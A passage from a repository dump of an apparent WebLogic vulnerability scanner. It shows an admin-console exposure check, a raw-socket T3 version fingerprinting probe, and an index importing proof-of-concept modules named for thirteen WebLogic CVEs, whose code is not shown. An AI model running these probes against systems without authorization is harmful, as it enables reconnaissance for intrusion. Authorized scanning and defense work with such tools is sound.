24 | return (1,"[+] [{}] Weblogic console address is exposed! The path is: {}".format(url+':'+str(port),u))
25 | else:
26 | return (0,"[-] [{}] Weblogic console address not found!".format(url+':'+str(port)))
27 |
28 | if __name__=="__main__":
29 | url = sys.argv[1]
30 | port = int(sys.argv[2])
31 | run(url,port)
32 |
--------------------------------------------------------------------------------
/poc/Whoareu.py:
--------------------------------------------------------------------------------
1 | #!/usr/bin/env python3
2 | # _*_ coding:utf-8 _*_
3 | '''
4 | ____ _ _ _ _ __ __ _
5 | | _ \ __ _| |__ | |__ (_) |_| \/ | __ _ ___| | __
6 | | |_) / _` | '_ \| '_ \| | __| |\/| |/ _` / __| |/ /
7 | | _ < (_| | |_) | |_) | | |_| | | | (_| \__ \ <
8 | |_| \_\__,_|_.__/|_.__/|_|\__|_| |_|\__,_|___/_|\_\
9 | '''
10 | import re
11 | import socket
12 | from time import sleep
13 |
14 | def whoareu(rip,rport):
15 | sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
16 | server_address = (rip, rport)
17 | sock.connect(server_address)
18 | sock.send(bytes.fromhex('74332031322e322e310a41533a3235350a484c3a31390a4d533a31303030303030300a0a'))
19 | sleep(1)
20 | try:
21 | v=(re.findall(r'HELO:(.*?).false', sock.recv(1024).decode()))[0]
22 | if v:
23 | return (1,"[+] [{}] Weblogic Version Is {}".format(rip+':'+str(rport),v))
24 | else:
25 | return (0,"[-] [{}] Weblogic Version Recognition Failed".format(rip+':'+str(rport)))
26 | except:
27 | return (0, "[-] [{}] Weblogic Version Recognition Failed".format(rip + ':' + str(rport)))
28 |
29 | def run(rip,rport):
30 | return whoareu(rip,rport)
--------------------------------------------------------------------------------
/poc/index.py:
--------------------------------------------------------------------------------
1 | #!/usr/bin/env python3
2 | # _*_ coding:utf-8 _*_
3 | '''
4 | ____ _ _ _ _ __ __ _
5 | | _ \ __ _| |__ | |__ (_) |_| \/ | __ _ ___| | __
6 | | |_) / _` | '_ \| '_ \| | __| |\/| |/ _` / __| |/ /
7 | | _ < (_| | |_) | |_) | | |_| | | | (_| \__ \ <
8 | |_| \_\__,_|_.__/|_.__/|_|\__|_| |_|\__,_|___/_|\_\
9 | '''
10 | from poc import Console
11 | from poc import CVE_2014_4210
12 | from poc import CVE_2016_0638
13 | from poc import CVE_2016_3510
14 | from poc import CVE_2017_10271
15 | from poc import CVE_2017_3248
16 | from poc import CVE_2017_3506
17 | from poc import CVE_2018_2628
18 | from poc import CVE_2018_2893
19 | from poc import CVE_2018_2894
20 | from poc import CVE_2019_2725
21 | from poc import CVE_2019_2729
22 | from poc import CVE_2019_2890
23 | from poc import Whoareu
24 |
25 | pocindex=['Whoareu','Console', 'CVE_2014_4210', 'CVE_2016_0638', 'CVE_2016_3510', 'CVE_2017_10271', 'CVE_2017_3248', 'CVE_2017_3506', 'CVE_2018_2628', 'CVE_2018_2893', 'CVE_2018_2894', 'CVE_2019_2725', 'CVE_2019_2729', 'CVE_2019_2890']
26 |
--------------------------------------------------------------------------------
/requirements.txt:
--------------------------------------------------------------------------------
1 | fake_useragent==0.1.11
2 | requests==2.23.0
3 |
--------------------------------------------------------------------------------
/target.txt:
--------------------------------------------------------------------------------
1 | 127.0.0.1:7001
2 | 172.19.19.19
--------------------------------------------------------------------------------